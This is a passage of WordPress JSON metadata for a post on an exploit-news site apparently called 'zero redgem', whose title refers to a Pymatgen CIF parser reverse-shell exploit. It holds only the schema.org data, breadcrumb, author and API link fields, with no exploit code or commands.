Shell_PACKETSTORM:215742","datePublished":"2026-02-17T12:46:14+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=41169"},"wordCount":2093,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.3","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=41169#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=41169","url":"https:\/\/zero.redgem.net\/?p=41169","name":"\ud83d\udcc4 Pymatgen 2024.1 CIF Parser Reverse Shell_PACKETSTORM:215742 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-17T12:46:14+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=41169#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=41169"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=41169#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Pymatgen 2024.1 CIF Parser Reverse Shell_PACKETSTORM:215742"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41169","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=41169"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41169\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=41169"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=41169"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=41169"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}